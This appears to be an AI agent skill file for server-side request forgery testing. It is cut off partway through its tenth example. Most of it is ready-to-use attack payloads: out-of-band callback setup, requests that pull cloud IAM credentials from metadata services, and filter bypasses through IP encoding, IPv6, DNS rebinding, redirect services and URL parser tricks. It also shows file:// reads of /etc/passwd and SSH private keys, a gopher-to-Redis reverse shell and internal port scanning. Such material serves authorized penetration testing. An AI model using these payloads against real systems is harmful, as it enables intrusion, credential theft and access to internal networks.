ssrf-poc

# ssrf-poc ## When to Use - User requests SSRF testing or server-side request forgery detection - Testing URL/webhook input fields for internal service access - Accessing cloud metadata services (AWS/GCP/Azure) - Probing internal network through application requests - Setting up OOB (out-of-band) callbacks for blind SSRF - Bypassing SSRF filters with encoding or redirect techniques - Testing file:// or gopher:// scheme exploitation - Validating SSRF findings with proof of concept ## Quick Start ```bash # Generate OOB payload interactsh-client # Use the generated domain in SSRF payloads # Example: https://target.com/fetch?url=http://PAYLOAD.oast.pro # Basic localhost access http://127.0.0.1/admin http://localhost:8080/ http://0.0.0.0:22 # Cloud metadata http://169.254.169.254/latest/meta-data/ ``` ## Interactsh Setup ### Generate OOB Payload ```bash # Start client (auto-generates unique domain) interactsh-client # Output: # [INF] c23b2la0kl1krjcrdj10cndmnioyyyyyn.oast.pro ``` ### Monitor Interactions ```bash # Verbose mode with logging interactsh-client -v -o ssrf-interactions.txt # JSON output interactsh-client -json -o results.json # Filter by protocol interactsh-client -http-only interactsh-client -dns-only ``` ### Session Persistence ```bash # Resume same session later interactsh-client -sf ssrf-session.session ``` ### Custom Server ```bash # Use specific server interactsh-client -server oast.pro # Self-hosted server interactsh-client -server your-server.com -token YOUR_TOKEN ``` ## Step-by-Step Process ### 1. Generate OOB Payload ```bash interactsh-client # Note the generated domain: xyz123.oast.pro ``` ### 2. Identify SSRF Injection Points Common parameters: `url`, `path`, `src`, `href`, `redirect`, `uri`, `callback`, `webhook`, `proxy`, `target`, `fetch`, `load`, `data`, `file` ### 3. Test Basic SSRF ```bash # Inject OOB domain https://target.com/api?url=http://xyz123.oast.pro # Check interactsh for callback # [xyz123] Received HTTP interaction from TARGET_IP ``` ### 4. Escalate with Bypass Techniques If basic payload blocked, try bypass techniques (see below). ### 5. Extract Sensitive Data ```bash # Cloud metadata https://target.com/api?url=http://169.254.169.254/latest/meta-data/ # Internal services https://target.com/api?url=http://localhost:8080/admin ``` ## Bypass Techniques ### IPv6 Notation ``` http://[::]:80/ http://[0000::1]:80/ http://[::ffff:127.0.0.1]/ http://[0:0:0:0:0:ffff:127.0.0.1]/ ``` ### Localhost Variations ``` http://127.0.0.1 http://localhost http://127.1 http://127.0.1 http://0.0.0.0 http://0/ http://127.127.127.127 ``` ### Domain Redirect Services ``` http://localtest.me → ::1 http://127.0.0.1.nip.io → 127.0.0.1 http://company.127.0.0.1.nip.io → 127.0.0.1 http://spoofed.BURP_COLLAB → 127.0.0.1 ``` ### IP Encoding ``` # Decimal http://2130706433/ → 127.0.0.1 http://2852039166/ → 169.254.169.254 # Hexadecimal http://0x7f000001/ → 127.0.0.1 http://0xa9fea9fe/ → 169.254.169.254 # Octal http://0177.0.0.1/ → 127.0.0.1 ``` ### URL Encoding ``` http://127.0.0.1/%61dmin (single encode) http://127.0.0.1/%2561dmin (double encode) http://127%2e0%2e0%2e1/ (encoded dots) ``` ### DNS Rebinding ```bash # Using 1u.ms service # Rotates between two IPs make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms # Verify rotation nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms ``` ### Redirect Bypass ```bash # Using r3dir.me service https://307.r3dir.me/--to/?url=http://localhost https://ENCODED.302.r3dir.me → http://169.254.169.254/ ``` ### URL Parser Exploitation ``` http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ ``` ## Cloud Metadata Targets | Provider | Endpoint | Notes | | ------------ | ---------------------------------------------------------- | ----------------------------------------- | | AWS EC2 | `169.254.169.254/latest/meta-data/` | IAM creds at `/iam/security-credentials/` | | GCP | `metadata.google.internal/computeMetadata/v1/` | Requires `Metadata-Flavor: Google` header | | Azure | `169.254.169.254/metadata/instance?api-version=2021-02-01` | Requires `Metadata: true` header | | DigitalOcean | `169.254.169.254/metadata/v1/` | No auth required | | Alibaba | `100.100.100.200/latest/meta-data/` | Similar to AWS | ## URL Schemes | Scheme | Purpose | Example | | ----------- | ------------------- | ------------------------------- | | `file://` | Read local files | `file:///etc/passwd` | | `gopher://` | TCP data injection | `gopher://localhost:6379/_INFO` | | `dict://` | Dictionary protocol | `dict://localhost:6379/INFO` | | `ldap://` | Directory access | `ldap://localhost:389/` | | `sftp://` | File transfer | `sftp://attacker:22/` | ## Examples ### Example 1: Basic OOB Detection **Scenario:** Test URL parameter for blind SSRF **Setup:** ```bash interactsh-client # [INF] abc123xyz.oast.pro ``` **Payload:** ``` https://target.com/webhook?url=http://abc123xyz.oast.pro ``` **Detection:** ``` [abc123xyz] Received HTTP interaction from 52.14.23.45 at 2024-01-15 10:30 ``` ### Example 2: AWS Metadata Extraction **Scenario:** Access EC2 instance credentials via SSRF **Payload:** ``` https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` **Response:** ``` my-iam-role ``` **Follow-up:** ``` https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-iam-role ``` ### Example 3: IPv6 Bypass **Scenario:** localhost blocked, try IPv6 **Blocked:** ``` https://target.com/fetch?url=http://localhost:8080/admin # Error: localhost not allowed ``` **Bypass:** ``` https://target.com/fetch?url=http://[::]:8080/admin https://target.com/fetch?url=http://[0000::1]:8080/admin ``` ### Example 4: Decimal IP Bypass **Scenario:** IP addresses blocked **Blocked:** ``` https://target.com/fetch?url=http://127.0.0.1/admin ``` **Bypass:** ``` https://target.com/fetch?url=http://2130706433/admin ``` ### Example 5: DNS Rebinding **Scenario:** Application validates DNS then fetches **Payload:** ``` https://target.com/fetch?url=http://make-8.8.8.8-rebind-127.0.0.1-rr.1u.ms/admin ``` First lookup returns 8.8.8.8 (passes validation), second returns 127.0.0.1. ### Example 6: Internal Port Scanning **Scenario:** Discover internal services **Command:** ```bash # Generate URLs for port scan for port in 22 80 443 3306 5432 6379 8080 9200; do echo "http://127.0.0.1:$port/" done > ports.txt # Test each via SSRF endpoint ``` **Response Analysis:** - Different response time = port open - Connection refused = port closed - Different response size = service detected ### Example 7: Redirect Service Bypass **Scenario:** External URLs only allowed **Payload:** ``` https://target.com/fetch?url=https://307.r3dir.me/--to/?url=http://localhost:8080/admin ``` Server follows redirect to internal resource. ### Example 8: File Protocol **Scenario:** file:// scheme supported **Payloads:** ``` https://target.com/pdf?url=file:///etc/passwd https://target.com/pdf?url=file:///proc/self/environ https://target.com/pdf?url=file:///home/user/.ssh/id_rsa ``` ### Example 9: Gopher Protocol Exploitation **Scenario:** Exploit Redis via gopher **Generate Payload:** ```bash gopherus --exploit redis # Enter: reverse shell command ``` **Use Generated Payload:** ``` https://target.com/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a... ``` ### Example 10: Webhook SSRF **Scenario:** Test webhook callback functionality **Setup:** ```bash interactsh-client -v # [INF] webhook123.oast.pro ``` **Configure Webhook:** ```json